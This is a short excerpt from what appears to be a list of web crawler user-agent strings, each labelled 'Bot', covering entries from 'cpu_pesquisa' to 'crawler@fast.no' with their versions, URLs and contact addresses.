Bot cpu_pesquisa (compatible; heritrix/1.12.1 +http://torchweb.com.br; prppedro@gmail.com)

Bot cr4nk.com/4.7 [en] (Windows 3.1; I) [Netscape]

Bot Cracka Killa Bot

Bot crawl test/Nutch-1.0-dev

Bot crawl-66-249-66-1.googlebot.com

Bot CRAWL-E/0.5

Bot CRAWL-E/0.6.2

Bot CRAWL-E/0.6.4

Bot crawl/0.4 libcrawl/0.3

Bot CrawlConvera0.1 (CrawlConvera@yahoo.com)

Bot Crawler

Bot Crawler (cometsearch@cometsystems.com)

Bot Crawler 1.0

Bot Crawler admin@crawler.de

Bot Crawler for Netopian (http://www.netopian.co.uk/)

Bot Crawler for Sika Solutions (http://www.sika-sol.co.uk/)

Bot crawler root@localhost

Bot Crawler V 0.2.x admin@crawler.de

Bot Crawler.MyCrawler

Bot Crawler/1.0

Bot Crawler/1.0+http://elibron.com

Bot crawler@alexa.com

Bot crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html